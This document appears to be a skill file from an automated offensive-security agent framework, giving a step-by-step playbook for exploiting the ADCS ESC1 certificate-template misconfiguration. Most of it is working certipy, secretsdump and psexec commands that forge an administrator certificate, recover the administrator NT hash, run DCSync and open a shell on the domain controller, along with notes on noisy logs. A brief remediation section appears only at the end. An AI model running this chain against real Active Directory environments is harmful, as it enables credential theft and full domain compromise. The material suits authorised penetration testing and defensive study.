adcs-esc1

name: adcs-esc1 description: Exploit Active Directory Certificate Services ESC1 — vulnerable template allows arbitrary SAN, enabling user impersonation up to domain admin. metadata: subdomain: active-directory when_to_use: "adcs esc1 ad certificate services template misconfiguration domain admin" mitre_attack: - T1649 - T1078.002

ADCS ESC1 Exploitation

ESC1 is the most common ADCS misconfig: a certificate template with ENROLLEE_SUPPLIES_SUBJECT set, allowing any enrollee to request a cert for any user. Pair with Client Authentication EKU → authenticate as that user via PKINIT → instant domain admin.

1. Enumerate templates

# Certipy (preferred)
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP \
  -output /tmp/adcs -text -stdout > /tmp/adcs.txt

# Or check JSON
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP -json \
  -output /tmp/adcs.json

Decepticon ingest:

adcs_audit("/tmp/adcs.json")

2. Identify ESC1 candidates

A template is ESC1-vulnerable when ALL true:

• Enrollment Rights includes a group the attacker is in (Domain Users / Authenticated Users is jackpot)
• Client Authentication EKU or Smart Card Logon EKU or Any Purpose
• Enrollee Supplies Subject flag set (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
• Manager Approval disabled
• Authorized Signatures Required is 0

certipy output marks these clearly:

[!] Vulnerabilities
        ESC1                                : 'DOMAIN\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

3. Request the cert as Domain Admin

certipy req -u USER@DOM -p 'PASS' -ca CA_NAME \
  -target CA_FQDN -template VULNERABLE_TEMPLATE \
  -upn 'administrator@dom' \
  -dc-ip DC_IP \
  -out /tmp/admin.pfx

The magic is -upn administrator@dom — because ENROLLEE_SUPPLIES_SUBJECT is set, the CA issues a cert with that UPN even though we're a regular user requesting it.

4. Authenticate as Domain Admin

PKINIT (cert → TGT):

certipy auth -pfx /tmp/admin.pfx -dc-ip DC_IP
# Output: TGT cached, NT hash printed

You get back:

• A TGT in administrator.ccache (use w/ export KRB5CCNAME=...)
• The NT hash of administrator (because PKINIT replies include the user's NT hash for legacy compat)

5. Operate as Domain Admin

With NT hash:

# DCSync
secretsdump.py -hashes :NT_HASH 'DOM/administrator@DC_IP' -just-dc

# Shell on DC
psexec.py -hashes :NT_HASH 'DOM/administrator@DC_IP'

# Or use the ccache TGT directly
export KRB5CCNAME=/tmp/administrator.ccache
smbclient.py -k -no-pass 'DC@DC_IP'

6. Promote

kg_add_node(kind="vulnerability", label="ADCS ESC1: <template> → DA",
            props={"severity":"critical","ca":"<ca>","template":"<tpl>"})
kg_add_node(kind="credential", label="administrator:NT_HASH")
kg_add_edge(src=<vuln>, dst=<cred>, kind="grants")
kg_add_edge(src=<cred>, dst=<crown_jewel:domain>, kind="compromises")

ESC variants quick-ref

OPSEC

• Certipy req generates event 4886 on the CA (cert issued)
• PKINIT generates event 4768 on DC w/ certificate fields populated
• Hard to suppress; rely on engagement being permitted to be loud here

CVSS

• Any ESC1 reachable from low-priv user: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.0
• ESC1 reachable from anonymous (rare): 10.0
• ESC8 NTLM relay (different exploit, same outcome): 9.8

Defender remediation

# Disable the dangerous flag
certutil -dstemplate <Template> | findstr msPKI-Certificate-Name-Flag
# Should NOT contain CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1)

# Fix via UI: Template properties → Subject Name tab → uncheck
# "Supply in the request"